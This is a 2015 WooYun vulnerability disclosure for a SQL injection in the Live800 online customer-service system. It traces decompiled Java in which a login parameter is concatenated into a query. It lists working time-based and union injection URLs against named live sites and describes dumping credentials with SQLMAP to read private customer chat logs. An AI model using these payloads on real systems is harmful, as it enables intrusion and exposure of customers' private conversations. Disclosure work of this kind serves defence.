当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147511

漏洞标题:live800在线客服系统SQL注射漏洞

相关厂商:live800.com

漏洞作者: applychen

提交时间:2015-10-18 09:51

修复时间:2016-01-21 10:00

公开时间:2016-01-21 10:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

SQL注射漏洞,可看客户与客服对话内容,泄露大量敏感信息。

详细说明:

通过此漏洞 WooYun: live800客服系统任意文件下载漏洞 下载站点源码,在loginAction.jsp中发现以下内容:

String loginName=request.getParameter("loginName");
String password=request.getParameter("password");
String loginServerUrl = request.getParameter("loginServerUrl");
OperatorInfo operatorInfo=new OperatorInfo();
operatorInfo.setLoginName(loginName);
password = URLUtil.unEscapeHtml(password);
operatorInfo.setPassword(password);
operatorInfo.setLoginServerUrl(loginServerUrl);
int result=DBManager.validateLogin(request.getParameter("companyLoginName"),operatorInfo);//跟踪此方法
if(DBError.NO_EXCEPTION==result&&operatorInfo.validateLogin()&&!StringUtils.isNullOrLengthZero(operatorInfo.getId()))


跟踪用于登录的DBManager.validateLogin()方法,代码做了混淆看着有点吃力:

public static int validateLogin(String paramString, OperatorInfo paramOperatorInfo)
{
if (paramOperatorInfo == null) {
return 17;
}
String str1 = paramOperatorInfo.getPassword();
if (StringUtils.isNullOrLengthZero(new String[] { str1,
paramString })) {
return 17;
}
paramOperatorInfo.setPassword(Password.getEncodingPassword(str1));
String str2 =
ak.i(paramString);//跟踪此方法
if (StringUtils.isNullOrLengthZero(str2)) {
return 17;
}
paramOperatorInfo.setCompanyId(str2);
return OperatorDBM.validateLogin(paramOperatorInfo);
}


再跟踪 ak.i()方法:

public static String i(String paramString)
{
StringBuffer localStringBuffer = new StringBuffer();
localStringBuffer
.append("select company_id from company where company_login_name='");
localStringBuffer.append(paramString);
localStringBuffer.append("' and user_type!='");
localStringBuffer.append("U");
localStringBuffer.append("'");
return DBCommuter.getAnAttribute(localStringBuffer.toString());
}


在这里看到SQL语句是由参数拼接而成的,最后跟踪DBCommuter.getAnAttribute(localStringBuffer.toString())看看SQL是怎么执行的:

public static final String getAnAttribute(String paramString) {
if (paramString == null) {
return null;
}
String str = null;
Connection localConnection = null;
Statement localStatement = null;
ResultSet localResultSet = null;
if (Live800Define.isOracle)
paramString = MysqlToOracle.dividePage(paramString);
try
{
localConnection = a();
localStatement = localConnection.createStatement();
localResultSet = localStatement.executeQuery(paramString);
if (localResultSet.next()) {
str = localResultSet.getString(1);
}
a(localStatement.getWarnings(), paramString);
a(localResultSet.getWarnings(), paramString);
localResultSet.close();
localResultSet = null;
localStatement.close();
localStatement = null;
localConnection.close();
localConnection = null;
} catch (SQLException localSQLException1) {
localSQLException1.printStackTrace();
if (a.isWarnEnabled()) {
a.logWarn(paramString, localSQLException1);
}
}
finally
{
if (localResultSet != null) {
try {
localResultSet.close();
} catch (SQLException localSQLException2) {
a.logFatal("close rs error!", localSQLException2);
}
localResultSet = null;
}
if (localStatement != null) {
try {
localStatement.close();
} catch (SQLException localSQLException3) {
a.logFatal("close stmt error!", localSQLException3);
}
localStatement = null;
}
if (localConnection != null) {
try {
localConnection.close();
} catch (SQLException localSQLException4) {
a.logFatal("close connect error!", localSQLException4);
}
localConnection = null;
}
}
return str;
}


从以上的代码不难看出程序未进行参数化查询导致SQL注入漏洞发生。
还是以华为作为测试用例,访问以下地址登录:

http://robotim.vmall.com/live800/login.jsp?aaa=1


抓取数据包:

6.png


其中的companyLoginName存在SQL注入:

http://robotim.vmall.com/live800/loginAction.jsp?companyLoginName=1%27or(select%20sleep(2))%23&loginName=a111&password=111


可以看到页面成功延迟2s,用SQLMAP跑出账户密码:

5.png


成功登录后台:

7.png


在后台有个对话记录查询功能:

8.png


直接导出详细记录即可查看对话记录:

9.png


简单例几个受此漏洞影响的站点:

http://800.vip.com/live800/loginAction.jsp?companyLoginName=test%27or(select sleep(3))%23&loginName=test2&password=test3
http://livechat1.eachnet.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://fnonline.feiniu.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://sf-ocs.sf-express.com:8080/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://online.kingdee.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3


漏洞证明:

同上

修复方案:

做一个filter全局过滤SQL注入危险字符

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-21 10:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-10-23:感谢applychen及时反馈,我们已经通知相关人员进行文件删除。同时进行其他请求排除


漏洞评价:

评价